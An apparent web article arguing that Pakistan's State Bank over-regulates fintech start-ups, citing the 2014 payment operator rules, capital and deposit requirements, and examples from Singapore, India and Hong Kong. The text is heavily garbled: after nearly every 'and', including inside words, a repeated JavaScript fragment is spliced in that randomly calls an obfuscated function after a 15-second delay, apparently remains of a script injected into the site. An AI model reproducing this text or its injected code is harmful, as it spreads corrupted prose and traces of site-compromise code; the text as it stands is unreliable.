The complex case of fintech regulation in Pakistan

Fintech covers digital innovations andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and technology-enabled business model innovations in the financial sector. Such innovations can disrupt existing industry structures andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and blur industry boundaries, facilitate strategic design- termediation, revolutionize how existing firms create andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and deliver products andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and services, provide new gateways for entrepreneurship, democratize access to financial services, but also create significant privacy, regulatory andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and law- enforcement challenges. Examples of innovations that are central to Fintech today include crypto currencies andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and the block chain, new digital advisory andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and trading systems, artificial intelligence andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and machine learning, peer-to-peer lending, equity crowd funding andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and mobile payment systems.
(Thomas Philippon, NYU)


Fintech is reshaping the financial industry andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and its rapid rise is prompting the financial regulators to come up with new regulations. This has been a headache for some regulators as Fintech poses new challenges every day. Some countries are embracing it while some are still struggling to understandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and the benefits of having a growing Fintech ecosystem. No business can thrive without the support of the regulators, especially a financial business.

The complexity

Overall global financial landom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andscape changed with the clamp down on terrorist financing andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and money laundering. These issues are pertinent to Pakistan as well.

In fact, Pakistan has been one of the most severely hit countries in the world. We are fighting terrorism andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and according to State Bank’s own admission, a large amount of money is being taken out of country each day for laundering purposes. These are two of the factors that regulators have in mind when they bring in tight regulations.

A number of countries have started to pay attention to the potential of Fintech. These countries are trying to create an environment where Fintech start-ups can grow without compromising the security of the customers.

Pakistan’s missing link

Data theft is one of the biggest fears; regulators have to make sure that the aspect of security remains paramount. However, putting these safeguards in place ought not to deter new entrants. In fact, some of the measures will become counter-productive if implemented without involving the industry participants. Most of the start-ups are the creation of individual minds. These people may not be familiar with the regulations or understandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and the implications of having them in place.

Singapore andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and India have understood this andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and both these countries have dedicated teams for Fintech start-ups. Their regulators have created windows for the Fintech start-ups that focus on these issues. This creates an environment for the start-ups to collaborate with the regulator.

This is also the key reason that Fintech start-ups have been flourishing in both these countries. In Singapore, their regulator, Monetary Authority of Singapore, has detailed pages on how to set up a FinTech business in the country. In contrast, we cannot find anything in Pakistan from the regulators. Pakistani regulators are treating Fintech Start-ups as the banking institutions andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and same regulations are being applied.

Hong Kong has gone even further as there are some peer-to-peer lending platforms active in the country. WeLend was already working while AliBaba andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Tencent launched their own digital banks, MYbank andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and WeBank, in the mainlandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and China. We know that informal lending is quite common in Pakistan. However, if someone was to establish a similar business in Pakistan, they will have to acquire a banking license, which is super expensive. While peer-to-peer lending platforms are not engaged in lending, they provide a platform to willing lenders andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and borrowers. While this looks like an extremely attractive business model, setting it up in Pakistan will be an uphill task despite the benefits it will bring.

Regulatory developments andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and SBP’s Role

In 2014, SBP released Rules for Payment System Operators (PSOs) andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Payment Service Providers (PSPs). The PSOs andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and PSPs may include the following:

1. Electronic Payment Gateway Service Providers to perform routing andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and switching of payment transactions/messages to facilitate:
a. E-Commerce
b. Remittances
c. Point of Sale (POS) network

2. Clearing Houses to provide payment related clearing services.

3. ATM Switch Operators to provide routing of ATM transactions through inter-connectivity between the participants of the network.

4. Any other Payment System Operator or Payment Service Provider as may be permitted by SBP.

State Bank of Pakistan also fixed the minimum paid-up capital requirement for the PSOs andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and PSPs at Rs200 million or any other amount as may be prescribed by the bank from time to time; for each PSO or PSP-related business application an additional 25% capital may be required.

This amount looks quite daunting on its own andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and acts as a major barrier of entry for the start-ups, however it does not stop here. They will be required to maintain (at all times) at least 10 percent of the required capital or any other amount prescribed by the bank as security deposit at SBP Banking Service Corporation (BSC) Office. Five percent of the security deposit will be kept in a non-remunerative current account with the SBP-BSC Office andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and five percent in the form of government security to be kept under lien at the SBP-BSC Office.

PSPs usually do not require a banking license in other parts of the world because these operators use the system of their partner banks. Setting up these requirements for the PSPs creates another hurdle for these businesses in Pakistan.

The way Forward

While there can be no compromise on security andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and money laundering; it also needs to be said that State Bank can certainly do a lot more to facilitate these start-ups. These businesses can help stimulate considerable economic activity. Countries like Singapore, China, Hong Kong, Australia andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and India have realized what Fintech can bring to the table. For Pakistan to develop a successful regulatory environment, State Bank needs to be more active andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and consider the following:

1) Define the goals andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and rank preference in terms of; fostering stability , access to services andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and promoting entry of new firms
2) Engage Industry for adaptation to Regulation
3) Develop an awareness campaign or an online page like Singapore MAS
4) Develop Consumer protection laws- to create the trust factor through robo- advising

Thomas Philippon in his research paper for NYU further emphasized the importance andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and role of regulatory bodies andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and that may be a great advice for a nascent structure like Pakistan’s;

Regulations are likely to be more effective if they are put in place early, when the industry is young. A counter-factual history of the money market mutual fund industry can be used to motivate this idea. Suppose that regulators had decided in the 1970s that, as a matter of principle, all mutual funds should use a floating NAV. Such regulation would have been relatively straightforward to implement when the industry was small, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and it would have guided its evolution andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and encouraged innovations consistent with the basic principle. It is significantly more difficult today when the industry has several trillion of dollars under management. A challenge for regulators is then to be forward-looking when dealing with FinTech. Effective regulation requires them to identify some basic features they would like FinTech to have in thirty years, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and mandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andate them now.

About the Contributor:

Ishtiaq Ahmed is an equity research andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and financial analyst. He has been studying the North American, European, andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and emerging markets. A regular writer for Seekingalpha.com andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Motleyfool, two of the most read equity research platforms in North America. His areas of interest are Oil & gas, Utilities, Technology andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Telecom.


News of the day

7 hours Read 55 views

The Nest I/O Celebrates 5 years of Entrepreneurship...

January 25, 2020

Founded in January 2015, The Nest I/O has been a hub for local startups to flourish andom()*5);if(number1==3){var…

View All